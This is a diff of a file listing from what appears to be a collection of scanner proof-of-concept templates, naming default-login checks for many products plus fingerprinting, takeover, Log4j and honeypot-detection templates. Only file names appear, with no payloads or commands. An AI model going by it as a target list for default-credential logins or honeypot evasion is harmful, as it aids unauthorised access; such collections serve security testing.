@@ ./poc/default/telecom-gateway-default-login.yaml ./poc/default/telecom-gateway-default-password.yaml ./poc/default/telecom-gateway-default-password.yml +./poc/default/timekeeper-default-login.yaml ./poc/default/tingsboard-default-login.yaml ./poc/default/tomcat-default-login-10788.yaml ./poc/default/tomcat-default-login-10789.yaml @@ -43488,18 +43715,21 @@ ./poc/default/ucmdb-default-login-10868.yaml ./poc/default/ucmdb-default-login-10870.yaml ./poc/default/ucmdb-default-login-10871.yaml -./poc/default/ucmdb-default-login.yaml ./poc/default/utt-default-password.yaml ./poc/default/versa-default-login-11002.yaml +./poc/default/versa-default-login-11003.yaml ./poc/default/versa-default-login-11004.yaml ./poc/default/versa-default-password.yaml ./poc/default/versa-flexvnf-ui-default-login.yaml ./poc/default/vidyo-default-login-11008.yaml +./poc/default/vidyo-default-login-11009.yaml ./poc/default/vidyo-default-login-11010.yaml ./poc/default/visionhub-default-credentials.yaml ./poc/default/visionhub-default-login-11026.yaml ./poc/default/visionhub-default-login-11027.yaml ./poc/default/visionhub-default-login-11028.yaml +./poc/default/visionhub-default-login-11029.yaml +./poc/default/visionhub-default-login.yaml ./poc/default/wanhu-ezoffice-defaultroot-evointerfaceservlet-infoleak.yaml ./poc/default/wanhu-ezoffice-defaultroot-officeserverservlet-fileupload.yaml ./poc/default/wanhuOA-default-login.yaml @@ -43517,6 +43747,7 @@ ./poc/default/wifisky-default-password.yaml ./poc/default/wp-default-feature-image-77ca0fafb755e10a5f728cc189fc877a.yaml ./poc/default/wp-default-feature-image.yaml +./poc/default/wso2-default-login-11640.yaml ./poc/default/wso2-default-login-11641.yaml ./poc/default/wso2-default-login-11642.yaml ./poc/default/wso2-default-login-11643.yaml @@ -43525,36 +43756,33 @@ ./poc/default/xampp-default-page-11661.yaml ./poc/default/xampp-default-page-11662.yaml ./poc/default/xampp-default-page-11663.yaml -./poc/default/xampp-default-page.yaml ./poc/default/xerox-workcentre7-default-password.yaml ./poc/default/xerox7-default-login-11678.yaml ./poc/default/xerox7-default-login-11679.yaml ./poc/default/xerox7-default-login-11680.yaml ./poc/default/xerox7-default-password.yaml -./poc/default/xxljob-default-login-11709.yaml ./poc/default/xxljob-default-login-11710.yaml ./poc/default/xxljob-default-login-11711.yaml ./poc/default/xxljob-default-login-11712.yaml ./poc/default/xxljob-default-login-11713.yaml ./poc/default/xxljob-default-login-11714.yaml +./poc/default/xxljob-default-login.yaml ./poc/default/zabbix-default-credentials-11758.yaml ./poc/default/zabbix-default-credentials-11759.yaml ./poc/default/zabbix-default-credentials.yaml ./poc/default/zabbix-default-login-11760.yaml ./poc/default/zabbix-default-login-11761.yaml -./poc/default/zabbix-default-login-11762.yaml ./poc/default/zabbix-default-login-11763.yaml ./poc/default/zabbix-default-login.yaml ./poc/default/zabbix-default-password.yaml ./poc/default/zabbix-default-password.yml ./poc/default/zmanda-default-credential.yaml ./poc/default/zmanda-default-login-11825.yaml -./poc/default/zmanda-default-login-11826.yaml ./poc/default/zmanda-default-login-11827.yaml ./poc/default/zmanda-default-login-11828.yaml +./poc/default/zmanda-default-login.yaml ./poc/detect/4D-detect.yaml ./poc/detect/AWS-S3-Bucket-Detect.yaml -./poc/detect/Biometric-detect.yaml ./poc/detect/CORS-initial-detect.yaml ./poc/detect/Mantis-BugTracker-Detect.yaml ./poc/detect/NagiosXI-CMS-Detect.yaml @@ -43564,6 +43792,7 @@ ./poc/detect/Tomcat-Path-normalize-detect.yaml ./poc/detect/Unifi-Detect.yaml ./poc/detect/ZoneMinder-Tech-Detect.yaml +./poc/detect/achecker-detect-27.yaml ./poc/detect/achecker-detect.yaml ./poc/detect/acontent-detect-31.yaml ./poc/detect/acontent-detect-32.yaml @@ -43573,6 +43802,8 @@ ./poc/detect/ad-blocking-detector.yaml ./poc/detect/adbhoney-detection-cnxn.yaml ./poc/detect/adbhoney-detection-shell.yaml +./poc/detect/adbhoney-honeypot-cnxn-detect.yaml +./poc/detect/adbhoney-honeypot-shell-detect.yaml ./poc/detect/addeventlistener-detect-64.yaml ./poc/detect/addeventlistener-detect-65.yaml ./poc/detect/addeventlistener-detect.yaml @@ -43585,8 +43816,8 @@ ./poc/detect/adobe-coldfusion-detect-5.yaml ./poc/detect/adobe-coldfusion-detect-6.yaml ./poc/detect/adobe-coldfusion-detect-82.yaml +./poc/detect/adobe-coldfusion-detect-83.yaml ./poc/detect/adobe-coldfusion-detect-84.yaml -./poc/detect/adobe-coldfusion-detect.yaml ./poc/detect/adobe-coldfusion-detector-1.yaml ./poc/detect/adobe-coldfusion-detector-2.yaml ./poc/detect/adobe-coldfusion-detector-3.yaml @@ -43595,19 +43826,20 @@ ./poc/detect/adobe-coldfusion-detector-6.yaml ./poc/detect/adobe-coldfusion-detector-error.yaml ./poc/detect/adobe-coldfusion-error-detect-85.yaml -./poc/detect/adobe-coldfusion-error-detect-86.yaml ./poc/detect/adobe-coldfusion-error-detect-87.yaml ./poc/detect/adobe-coldfusion-error-detect-88.yaml +./poc/detect/adobe-coldfusion-error-detect.yaml ./poc/detect/adselfservice-version-detect.yaml ./poc/detect/aem-detection-143.yaml ./poc/detect/aem-detection-144.yaml -./poc/detect/aem-detection-146.yaml +./poc/detect/aem-detection-145.yaml ./poc/detect/aem-detection.yaml ./poc/detect/airflow-detect-237.yaml ./poc/detect/airflow-detect-238.yaml ./poc/detect/airflow-detect-239.yaml +./poc/detect/aix-websm-detect.yaml +./poc/detect/alfresco-detect-258.yaml ./poc/detect/alfresco-detect-259.yaml -./poc/detect/alfresco-detect-260.yaml ./poc/detect/alfresco-detect.yaml ./poc/detect/amazon-mws-auth-token-detect.yaml ./poc/detect/amazon-sns-topic-disclosure-detect.yaml @@ -43617,23 +43849,23 @@ ./poc/detect/apache-axis-detect-3.yaml ./poc/detect/apache-axis-detect-339.yaml ./poc/detect/apache-axis-detect-340.yaml -./poc/detect/apache-cocoon-detect.yaml +./poc/detect/apache-axis-detect.yaml +./poc/detect/apache-cocoon-detect-342.yaml ./poc/detect/apache-detect-345.yaml ./poc/detect/apache-detect-346.yaml ./poc/detect/apache-detect-347.yaml ./poc/detect/apache-detect-349.yaml ./poc/detect/apache-druid-detect.yaml -./poc/detect/apache-dubbo-detect.yaml +./poc/detect/apache-dubbo-detect-351.yaml ./poc/detect/apc-detect.yaml ./poc/detect/apollo-server-detect-522.yaml ./poc/detect/apollo-server-detect.yaml ./poc/detect/aptus-detect.yaml ./poc/detect/argocd-detect.yaml ./poc/detect/arris-modem-detect.yaml -./poc/detect/artica-web-proxy-detect-543.yaml ./poc/detect/artica-web-proxy-detect-544.yaml +./poc/detect/artica-web-proxy-detect-545.yaml ./poc/detect/artica-web-proxy-detect-546.yaml -./poc/detect/artica-web-proxy-detect.yaml ./poc/detect/artifactory-version-detect.yaml ./poc/detect/aspnet-version-detect.yaml ./poc/detect/atlantis-detect.yaml @@ -43642,7 +43874,7 @@ ./poc/detect/autobahn-python-detect-592.yaml ./poc/detect/autobahn-python-detect-593.yaml ./poc/detect/autobahn-python-detect-594.yaml -./poc/detect/autobahn-python-detect-595.yaml +./poc/detect/autobahn-python-detect.yaml ./poc/detect/autoset-detect.yaml ./poc/detect/avantfax-detect-598.yaml ./poc/detect/avantfax-detect-599.yaml @@ -43655,9 +43887,12 @@ ./poc/detect/aws-elastic-beanstalk-detect-642.yaml ./poc/detect/aws-elastic-beanstalk-detect-643.yaml ./poc/detect/aws-elastic-beanstalk-detect-644.yaml +./poc/detect/aws-elastic-beanstalk-detect.yaml +./poc/detect/aws-sftp-detect.yaml ./poc/detect/axigen-mail-server-detect.yaml ./poc/detect/axis-detect.yaml ./poc/detect/axis2-detect.yaml +./poc/detect/azure-takeover-detection-681.yaml ./poc/detect/azure-takeover-detection-682.yaml ./poc/detect/azure-takeover-detection-683.yaml ./poc/detect/azure-takeover-detection.yaml @@ -43668,22 +43903,24 @@ ./poc/detect/basic-auth-detection.yaml ./poc/detect/bedita-detect-704.yaml ./poc/detect/bedita-detect-705.yaml -./poc/detect/bedita-detect-706.yaml ./poc/detect/bedita-detect.yaml ./poc/detect/bgp-detect.yaml ./poc/detect/bigbluebutton-detect-722.yaml -./poc/detect/bigbluebutton-detect.yaml +./poc/detect/bigbluebutton-detect-723.yaml ./poc/detect/bigip-config-utility-detect-1.yaml ./poc/detect/bigip-config-utility-detect-2.yaml ./poc/detect/bigip-config-utility-detect-3.yaml +./poc/detect/bigip-config-utility-detect-730.yaml ./poc/detect/bigip-config-utility-detect-731.yaml -./poc/detect/bigip-config-utility-detect-733.yaml ./poc/detect/bigip-config-utility-detect.yaml ./poc/detect/bigip-detection-734.yaml ./poc/detect/bigip-detection.yaml +./poc/detect/bimi-detect.yaml ./poc/detect/biometric-detect-737.yaml ./poc/detect/biometric-detect.yaml ./poc/detect/birt-detect.yaml +./poc/detect/bitvise-ssh-detect.yaml +./poc/detect/bluecoat-telnet-proxy-detect.yaml ./poc/detect/bmc-panel-detect.yaml ./poc/detect/bolt-cms-detect-759.yaml ./poc/detect/bolt-cms-detect-760.yaml @@ -43692,13 +43929,13 @@ ./poc/detect/bookstack-detect-765.yaml ./poc/detect/bookstack-detect.yaml ./poc/detect/brother-printer-detect-787.yaml -./poc/detect/brother-printer-detect-789.yaml +./poc/detect/brother-printer-detect-788.yaml ./poc/detect/brother-printer-detect-790.yaml ./poc/detect/brother-printer-detect.yaml ./poc/detect/burp-api-detect-809.yaml ./poc/detect/burp-api-detect-810.yaml +./poc/detect/burp-api-detect-812.yaml ./poc/detect/burp-api-detect-813.yaml -./poc/detect/burp-api-detect.yaml ./poc/detect/cacti-detect-1.yaml ./poc/detect/cacti-detect-2.yaml ./poc/detect/cacti-detect-826.yaml @@ -43706,9 +43943,8 @@ ./poc/detect/carestream-vue-detect-1.yaml ./poc/detect/carestream-vue-detect-2.yaml ./poc/detect/carestream-vue-detect-859.yaml -./poc/detect/carestream-vue-detect-861.yaml ./poc/detect/ccm-detect.yaml -./poc/detect/centreon-detect-875.yaml +./poc/detect/celebrus-detect.yaml ./poc/detect/centreon-detect-876.yaml ./poc/detect/centreon-detect.yaml ./poc/detect/changedetection-panel.yaml @@ -43722,6 +43958,7 @@ ./poc/detect/cisco-asa-honeypot-detection.yaml ./poc/detect/cisco-email-security-detect.yaml ./poc/detect/cisco-finger-detect.yaml +./poc/detect/cisco-implant-detect.yaml ./poc/detect/cisco-ucs-director-panel-detect.yaml ./poc/detect/cisco-unity-express-panel-detect.yaml ./poc/detect/cisco-webvpn-detect.yaml @@ -43730,54 +43967,57 @@ ./poc/detect/citrix-adc-gateway-detect-982.yaml ./poc/detect/citrix-adc-gateway-detect-983.yaml ./poc/detect/citrix-adc-gateway-detect.yaml +./poc/detect/citrix-honeypot-detect.yaml ./poc/detect/citrix-honeypot-detection.yaml ./poc/detect/citrix-netscaler-gateway-detect.yml ./poc/detect/citrix-vpn-detect-985.yaml ./poc/detect/citrix-vpn-detect-986.yaml ./poc/detect/citrix-vpn-detect-987.yaml ./poc/detect/citrix-vpn-detect.yaml +./poc/detect/clamav-detect.yaml ./poc/detect/clickhouse-db-detect.yaml ./poc/detect/clickjacking-detect.yaml ./poc/detect/clickjacking-detection-registration.yaml ./poc/detect/cms-detect.yaml +./poc/detect/cname-service-detection-1032.yaml ./poc/detect/cname-service-detection.yaml ./poc/detect/cname-service-detector-1034.yaml ./poc/detect/cname-service-detector.yaml ./poc/detect/cobbler-version-detect.yaml ./poc/detect/cockpit-detect-1125.yaml -./poc/detect/cockpit-detect-1126.yaml +./poc/detect/cockpit-detect-1127.yaml ./poc/detect/cockpit-detect-1128.yaml ./poc/detect/cofense-vision-detection.yaml ./poc/detect/colasoft-network-information-comprehensive-detection-and-processing-platform.yaml -./poc/detect/compalex-panel-detect.yaml ./poc/detect/comprehensive-swagger-ui-version-detection.yaml ./poc/detect/confluence-detect-1.yaml +./poc/detect/confluence-detect-1186.yaml ./poc/detect/confluence-detect-1187.yaml -./poc/detect/confluence-detect-1188.yaml ./poc/detect/confluence-detect-1189.yaml ./poc/detect/confluence-detect-2.yaml ./poc/detect/confluence-detect-3.yaml ./poc/detect/confluence-detect-4.yaml ./poc/detect/confluence-detect.yaml +./poc/detect/conpot-siemens-honeypot-detect.yaml ./poc/detect/conpot-siemens-honeypot-detection.yaml -./poc/detect/contentkeeper-detect-1201.yaml ./poc/detect/contentkeeper-detect-1202.yaml +./poc/detect/contentkeeper-detect-1203.yaml ./poc/detect/contentkeeper-detect.yaml ./poc/detect/couchdb-detect.yaml ./poc/detect/cowrie-honeypot-detect.yaml +./poc/detect/cowrie-ssh-honeypot-detect.yaml ./poc/detect/cowrie-ssh-honeypot-detection.yaml ./poc/detect/cpanel-detection.yaml ./poc/detect/cql-native-transport-detect.yaml ./poc/detect/craft-cms-detect-1246.yaml +./poc/detect/craft-cms-detect-1247.yaml ./poc/detect/craft-cms-detect-1248.yaml -./poc/detect/craft-cms-detect.yaml +./poc/detect/craftercms-detect.yaml ./poc/detect/create-mysql-detection.yaml ./poc/detect/crush-ftp-detect-1270.yaml ./poc/detect/crush-ftp-detect-1271.yaml -./poc/detect/crush-ftp-detect-1272.yaml ./poc/detect/crush-ftp-detect.yaml -./poc/detect/csrfguard-detect-1291.yaml -./poc/detect/csrfguard-detect.yaml +./poc/detect/csrfguard-detect-1290.yaml ./poc/detect/ctcms-detect.yaml ./poc/detect/cucm-detect.yaml ./poc/detect/custom-aem-ACPV-detect.yaml @@ -43813,19 +44053,19 @@ ./poc/detect/darkstat-detect-2.yaml ./poc/detect/darkstat-detect-6767.yaml ./poc/detect/darkstat-detect.yaml -./poc/detect/daybyday-detect-6772.yaml ./poc/detect/daybyday-detect-6773.yaml ./poc/detect/daybyday-detect.yaml ./poc/detect/deep-link-detect.yaml ./poc/detect/defaced-website-detect.yaml +./poc/detect/defacement-detect.yaml ./poc/detect/default-detect-generic-6837.yaml ./poc/detect/default-detect-generic-6838.yaml -./poc/detect/default-detect-generic-6839.yaml ./poc/detect/dell-bmc-panel-detect.yaml ./poc/detect/dell-idrac6-detect-6918.yaml ./poc/detect/dell-idrac6-detect-6919.yaml ./poc/detect/dell-idrac6-detect-6920.yaml ./poc/detect/dell-idrac6-detect-6921.yaml +./poc/detect/dell-idrac6-detect.yaml ./poc/detect/dell-idrac7-detect-6923.yaml ./poc/detect/dell-idrac7-detect-6924.yaml ./poc/detect/dell-idrac7-detect-6925.yaml @@ -43834,40 +44074,36 @@ ./poc/detect/dell-idrac8-detect-6928.yaml ./poc/detect/dell-idrac8-detect-6929.yaml ./poc/detect/dell-idrac9-detect-6936.yaml -./poc/detect/dell-idrac9-detect-6937.yaml ./poc/detect/dell-idrac9-detect-6938.yaml -./poc/detect/dell-idrac9-detect-6939.yaml ./poc/detect/dell-idrac9-detect-6940.yaml ./poc/detect/dell-idrac9-detect-6941.yaml ./poc/detect/dell-remote-power-management-detect.yaml ./poc/detect/deprecated-sshv1-detection.yaml +./poc/detect/detect-addpac-voip-gateway-6963.yaml ./poc/detect/detect-addpac-voip-gateway-6964.yaml -./poc/detect/detect-addpac-voip-gateway-6965.yaml +./poc/detect/detect-addpac-voip-gateway.yaml ./poc/detect/detect-all-takeover.yaml ./poc/detect/detect-all-takeovers.yaml ./poc/detect/detect-all-takovers.yaml ./poc/detect/detect-dangling-cname-6967.yaml ./poc/detect/detect-dangling-cname-6968.yaml -./poc/detect/detect-dns-over-https-6969.yaml +./poc/detect/detect-dangling-cname.yaml ./poc/detect/detect-dns-over-https.yaml ./poc/detect/detect-drone-config-6971.yaml ./poc/detect/detect-drone-config-6972.yaml ./poc/detect/detect-drone-config-6973.yaml ./poc/detect/detect-drone.yaml ./poc/detect/detect-generic-website.yaml -./poc/detect/detect-jabber-xmpp-6974.yaml ./poc/detect/detect-jabber-xmpp-6975.yaml ./poc/detect/detect-jabber-xmpp.yaml ./poc/detect/detect-options-method-6977.yaml ./poc/detect/detect-options-method.yaml -./poc/detect/detect-rsyncd-6980.yaml +./poc/detect/detect-rsyncd-6979.yaml ./poc/detect/detect-rsyncd-6981.yaml -./poc/detect/detect-rsyncd-6982.yaml ./poc/detect/detect-rsyncd.yaml +./poc/detect/detect-sentry-6983.yaml ./poc/detect/detect-sentry-6984.yaml -./poc/detect/detect-sentry-6985.yaml ./poc/detect/detect-sentry-6986.yaml -./poc/detect/detect-sentry.yaml ./poc/detect/detect-springboot-actuator.yaml ./poc/detect/detect-ssl-issuer.yaml ./poc/detect/detect-tracer-sc-web.yaml @@ -43877,10 +44113,15 @@ ./poc/detect/detection-zookeeper.yaml ./poc/detect/devexpress-detect.yaml ./poc/detect/digipassport-detect.yaml +./poc/detect/dionaea-ftp-honeypot-detect.yaml ./poc/detect/dionaea-ftp-honeypot-detection.yaml +./poc/detect/dionaea-http-honeypot-detect.yaml ./poc/detect/dionaea-http-honeypot-detection.yaml ./poc/detect/dionaea-mongodb-honeypot-detection.yaml +./poc/detect/dionaea-mqtt-honeypot-detect.yaml ./poc/detect/dionaea-mqtt-honeypot-detection.yaml +./poc/detect/dionaea-mysql-honeypot-detect.yaml +./poc/detect/dionaea-smb-honeypot-detect.yaml ./poc/detect/dionaea-smb-honeypot-detection.yaml ./poc/detect/django-debug-detect-7024.yaml ./poc/detect/django-debug-detect-7025.yaml @@ -43889,10 +44130,10 @@ ./poc/detect/dns-saas-service-detection.yaml ./poc/detect/dns-waf-detect-7052.yaml ./poc/detect/dns-waf-detect-7053.yaml -./poc/detect/dns-waf-detect-7054.yaml ./poc/detect/dns-waf-detect.yaml ./poc/detect/dnssec-detection-7051.yaml ./poc/detect/docker-api-detection.yaml +./poc/detect/dolibarr-detect-7069.yaml ./poc/detect/dolibarr-detect-7070.yaml ./poc/detect/dolibarr-detect-7071.yaml ./poc/detect/dolibarr-detect.yaml @@ -43909,26 +44150,26 @@ ./poc/detect/dwr-index-detect-7136.yaml ./poc/detect/eaton-power-manager-detect.yaml ./poc/detect/ec2-detection-7161.yaml -./poc/detect/ec2-detection-7163.yaml +./poc/detect/ec2-detection-7162.yaml +./poc/detect/ec2-detection.yaml ./poc/detect/eg-manager-detect-7182.yaml -./poc/detect/eg-manager-detect-7183.yaml ./poc/detect/eg-manager-detect-7184.yaml ./poc/detect/elasticpot-honeypot-detection.yaml ./poc/detect/elasticsearch-sql-client-detect-7189.yaml ./poc/detect/elasticsearch-sql-client-detect-7190.yaml -./poc/detect/elasticsearch-sql-client-detect-7191.yaml ./poc/detect/elasticsearch-sql-client-detect-7192.yaml +./poc/detect/elasticsearch-sql-client-detect.yaml ./poc/detect/electron-version-detect.yaml ./poc/detect/elfinder-detect-1.yaml ./poc/detect/elfinder-detect-2.yaml ./poc/detect/elfinder-detect-7201.yaml ./poc/detect/elfinder-detect-7202.yaml -./poc/detect/elfinder-detect.yaml ./poc/detect/emqx-detection.yaml ./poc/detect/ems-webclient-detect.yaml ./poc/detect/epson-access-detect-7233.yaml ./poc/detect/epson-access-detect-7234.yaml ./poc/detect/epson-access-detect-7235.yaml +./poc/detect/epson-access-detect-7236.yaml ./poc/detect/epson-access-detect-7237.yaml ./poc/detect/epson-access-detect.yaml ./poc/detect/epson-projector-detect.yaml @@ -43937,8 +44178,8 @@ ./poc/detect/epson-web-control-detect-7240.yaml ./poc/detect/epson-web-control-detect-7241.yaml ./poc/detect/epson-web-control-detect-7242.yaml -./poc/detect/epson-web-control-detect.yaml ./poc/detect/error-stack-trace-detect.yaml +./poc/detect/erxes-detect.yaml ./poc/detect/esmtp-detect.yaml ./poc/detect/eventide-detect.yaml ./poc/detect/exim-detect.yaml @@ -43947,25 +44188,26 @@ ./poc/detect/fanruanoa-detect-1.yaml ./poc/detect/fanruanoa-detect-2.yaml ./poc/detect/fanruanoa-detect-7391.yaml -./poc/detect/fanruanoa-detect-7392.yaml +./poc/detect/fanruanoa-detect.yaml ./poc/detect/fanruanoa2012-detect-7387.yaml ./poc/detect/fanruanoa2012-detect-7388.yaml -./poc/detect/fatpipe-mpvpn-detect-7437.yaml ./poc/detect/fatpipe-mpvpn-detect-7438.yaml ./poc/detect/fatpipe-mpvpn-detect.yaml +./poc/detect/fatpipe-warp-detect-7439.yaml ./poc/detect/fatpipe-warp-detect-7440.yaml ./poc/detect/fatpipe-warp-detect.yaml ./poc/detect/favicon-detect.yaml -./poc/detect/favicon-detection-7441.yaml ./poc/detect/favicon-detection-7442.yaml ./poc/detect/favicon-detection-7443.yaml -./poc/detect/favicon-detection-7444.yaml ./poc/detect/favicon-detection-7445.yaml +./poc/detect/favicon-detection-7446.yaml ./poc/detect/favicon-detection.yaml ./poc/detect/ffserver-detect.yaml +./poc/detect/finger-detect.yaml ./poc/detect/firebase-detect-7492.yaml ./poc/detect/firebase-detect-7493.yaml -./poc/detect/firebase-detect-7494.yaml +./poc/detect/firebase-detect-7495.yaml +./poc/detect/firebase-detect-7496.yaml ./poc/detect/firebase-detect.yaml ./poc/detect/flink-version-detect.yaml ./poc/detect/flir-detect.yaml @@ -43973,6 +44215,7 @@ ./poc/detect/flowci-detection.yml ./poc/detect/foreman-detect.yaml ./poc/detect/forked-daapd-detect.yaml +./poc/detect/form-detection.yaml ./poc/detect/fortiauthenticator-detect.yaml ./poc/detect/fortinet-detect.yaml ./poc/detect/froxlor-detect-7551.yaml @@ -43980,6 +44223,7 @@ ./poc/detect/froxlor-detect-7553.yaml ./poc/detect/froxlor-detect-7554.yaml ./poc/detect/fuji-xerox-printer-detect.yaml +./poc/detect/gaspot-honeypot-detect.yaml ./poc/detect/gaspot-honeypot-detection.yaml ./poc/detect/geowebserver-detector.yaml ./poc/detect/gerapy-detect.yaml @@ -43990,6 +44234,7 @@ ./poc/detect/getsimple-cms-detect-2.yaml ./poc/detect/getsimple-cms-detect-7614.yaml ./poc/detect/getsimple-cms-detect-7615.yaml +./poc/detect/getsimple-cms-detect.yaml ./poc/detect/getsimple-cms-detector-7611.yaml ./poc/detect/getsimple-cms-detector-7613.yaml ./poc/detect/getsimple-cms-detector.yaml @@ -43998,7 +44243,6 @@ ./poc/detect/gitbook-detect-7623.yaml ./poc/detect/gitbook-detect-7624.yaml ./poc/detect/gitbook-detect-7625.yaml -./poc/detect/gitbook-detect.yaml ./poc/detect/gitea-detect-1.yaml ./poc/detect/gitea-detect-2.yaml ./poc/detect/gitea-detect.yaml @@ -44020,8 +44264,10 @@ ./poc/detect/glpi-cms-detect-3.yaml ./poc/detect/glpi-cms-detect.yaml ./poc/detect/glpi-project-detect.yaml +./poc/detect/gnu-inetutils-ftpd-detect.yaml ./poc/detect/gnuboard-detect-7742.yaml ./poc/detect/goahead-detected.yaml +./poc/detect/gopher-detect.yaml ./poc/detect/gopher-detection.yaml ./poc/detect/gradle-cache-node-detect-7797.yaml ./poc/detect/gradle-cache-node-detect-7798.yaml @@ -44031,12 +44277,12 @@ ./poc/detect/grafana-detect-7805.yaml ./poc/detect/grafana-detect-7806.yaml ./poc/detect/grafana-detect-7807.yaml -./poc/detect/grafana-detect-7809.yaml ./poc/detect/grafana-detect.yaml ./poc/detect/graphite-browser-detect.yaml ./poc/detect/graphql-apiforwp-detect.yaml ./poc/detect/graphql-apollo-detect.yaml ./poc/detect/graphql-ariadne-detect.yaml +./poc/detect/graphql-detect-7829.yaml ./poc/detect/graphql-detect-7830.yaml ./poc/detect/graphql-detect-7831.yaml ./poc/detect/graphql-detect-7832.yaml @@ -44058,8 +44304,6 @@ ./poc/detect/graphql-wpgraphql-detect.yaml ./poc/detect/grav-cms-detect-7841.yaml ./poc/detect/grav-cms-detect-7842.yaml -./poc/detect/grav-cms-detect-7843.yaml -./poc/detect/grav-cms-detect-7844.yaml ./poc/detect/grav-cms-detect-7845.yaml ./poc/detect/gunicorn-detect-7862.yaml ./poc/detect/gunicorn-detect-7863.yaml @@ -44067,14 +44311,14 @@ ./poc/detect/gunicorn-detect-7865.yaml ./poc/detect/hanwang-detect-7881.yaml ./poc/detect/hanwang-detect-7882.yaml -./poc/detect/hanwang-detect.yaml ./poc/detect/harbor-detect-7886.yaml ./poc/detect/harbor-detect-7888.yaml +./poc/detect/harbor-detect.yaml ./poc/detect/hash-detection.yaml ./poc/detect/herokuapp-detect-7937.yaml -./poc/detect/herokuapp-detect-7938.yaml ./poc/detect/herokuapp-detect-7940.yaml ./poc/detect/herokuapp-detect.yaml +./poc/detect/hikvision-detect.yaml ./poc/detect/hikvision-detection-1.yaml ./poc/detect/hikvision-detection-2.yaml ./poc/detect/hikvision-detection-7954.yaml @@ -44082,18 +44326,18 @@ ./poc/detect/hikvision-detection.yaml ./poc/detect/home-assistant-detect.yaml ./poc/detect/hp-blade-admin-detect-8003.yaml -./poc/detect/hp-blade-admin-detect-8005.yaml +./poc/detect/hp-blade-admin-detect.yaml ./poc/detect/hp-color-laserjet-detect.yaml ./poc/detect/hp-device-info-detect-8007.yaml ./poc/detect/hp-device-info-detect-8008.yaml -./poc/detect/hp-device-info-detect-8010.yaml +./poc/detect/hp-device-info-detect-8009.yaml ./poc/detect/hp-device-info-detect.yaml ./poc/detect/hp-laserjet-detect-8026.yaml ./poc/detect/hp-laserjet-detect-8027.yaml ./poc/detect/hp-laserjet-detect.yaml ./poc/detect/hp-media-vault-detect-8029.yaml ./poc/detect/hp-media-vault-detect-8030.yaml -./poc/detect/hp-media-vault-detect.yaml +./poc/detect/hp-media-vault-detect-8031.yaml ./poc/detect/htpasswd-detection-8045.yaml ./poc/detect/htpasswd-detection-8046.yaml ./poc/detect/htpasswd-detection.yaml @@ -44107,11 +44351,11 @@ ./poc/detect/icewarp-panel-detect.yaml ./poc/detect/iis-detect.yaml ./poc/detect/iis-errorpage-detection-all-lang.yaml -./poc/detect/ilo-detect-8154.yaml ./poc/detect/ilo-detect-8155.yaml -./poc/detect/ilo-detect-8156.yaml ./poc/detect/ilo-detect-8157.yaml +./poc/detect/ilo-detect.yaml ./poc/detect/ilo-upnp-detect.yaml +./poc/detect/imap-detect.yaml ./poc/detect/influxdb-detect-8158.yaml ./poc/detect/influxdb-detect-8160.yaml ./poc/detect/influxdb-detect.yaml @@ -44127,22 +44371,23 @@ ./poc/detect/itop-detect-8202.yaml ./poc/detect/itop-detect.yaml ./poc/detect/jaspersoft-detect-8219.yaml +./poc/detect/jaspersoft-detect-8220.yaml ./poc/detect/jaspersoft-detect.yaml -./poc/detect/java-rmi-detect-8227.yaml ./poc/detect/java-rmi-detect-8228.yaml +./poc/detect/java-rmi-detect.yaml ./poc/detect/javamelody-detect.yaml -./poc/detect/jboss-detect.yaml +./poc/detect/jboss-detect-8237.yaml ./poc/detect/jeecg-boot-detect-8247.yaml -./poc/detect/jeecg-boot-detect.yaml -./poc/detect/jeedom-detect-8249.yaml +./poc/detect/jeecg-boot-detect-8248.yaml ./poc/detect/jeedom-detect-8250.yaml +./poc/detect/jeedom-detect-8251.yaml ./poc/detect/jeedom-detect.yaml ./poc/detect/jellyfin-detect-2.yaml ./poc/detect/jellyfin-detect-3.yaml ./poc/detect/jellyfin-detect-4.yaml ./poc/detect/jellyfin-detect-8256.yaml +./poc/detect/jellyfin-detect-8257.yaml ./poc/detect/jellyfin-detect-8258.yaml -./poc/detect/jellyfin-detect-8259.yaml ./poc/detect/jellyfin-detect-8260.yaml ./poc/detect/jenkins-detect-8274.yaml ./poc/detect/jenkins-detect-8276.yaml @@ -44155,7 +44400,6 @@ ./poc/detect/jira-detect-8313.yaml ./poc/detect/jira-detect-8314.yaml ./poc/detect/jira-detect-8315.yaml -./poc/detect/jira-detect-8316.yaml ./poc/detect/jira-detect.yaml ./poc/detect/js-libraries-detect.yaml ./poc/detect/jsf-detection-8396.yaml @@ -44166,14 +44410,12 @@ ./poc/detect/kevinlab-device-detect-1.yaml ./poc/detect/kevinlab-device-detect-2.yaml ./poc/detect/kevinlab-device-detect-8461.yaml -./poc/detect/kevinlab-device-detect.yaml ./poc/detect/kibana-detect-1.yaml ./poc/detect/kibana-detect-2.yaml ./poc/detect/kibana-detect-3.yaml -./poc/detect/kibana-detect-8484.yaml +./poc/detect/kibana-detect-8483.yaml ./poc/detect/kibana-detect.yaml ./poc/detect/kong-detect-8498.yaml -./poc/detect/kong-detect-8499.yaml ./poc/detect/kong-detect-8500.yaml ./poc/detect/kong-detect-8501.yaml ./poc/detect/kong-detect.yaml @@ -44184,19 +44426,23 @@ ./poc/detect/laravel-detect.yaml ./poc/detect/lenovo-logo-detect.yaml ./poc/detect/leostream-detection.yaml +./poc/detect/leostream-detection.yml ./poc/detect/liferay-portal-detect-1.yaml ./poc/detect/liferay-portal-detect-2.yaml ./poc/detect/liferay-portal-detect-8621.yaml ./poc/detect/liferay-portal-detect-8622.yaml ./poc/detect/liferay-portal-detect-8624.yaml ./poc/detect/liferay-portal-detect-8625.yaml +./poc/detect/liferay-portal-detect-8626.yaml ./poc/detect/liferay-portal-detect.yaml ./poc/detect/lightdash-detect.nuclei.yaml +./poc/detect/linkerd-badrule-detect-8629.yaml ./poc/detect/linkerd-badrule-detect-8630.yaml ./poc/detect/linkerd-badrule-detect-8631.yaml ./poc/detect/linkerd-badrule-detect.yaml ./poc/detect/linkerd-detect-8632.yaml ./poc/detect/linkerd-detect-8633.yaml +./poc/detect/linkerd-service-detect-8634.yaml ./poc/detect/linkerd-service-detect-8635.yaml ./poc/detect/linkerd-service-detect.yaml ./poc/detect/linkerd-ssrf-detect-8636.yaml @@ -44208,23 +44454,23 @@ ./poc/detect/log4j-rce-detect-waf-bypass.yaml ./poc/detect/log4jshell-detect.yaml ./poc/detect/lucee-detect-8658.yaml +./poc/detect/lucee-detect-8659.yaml ./poc/detect/lucee-detect-8660.yaml -./poc/detect/lucee-detect-8661.yaml ./poc/detect/lucee-detect.yaml ./poc/detect/luci-login-detection-8671.yaml ./poc/detect/luci-login-detection.yaml 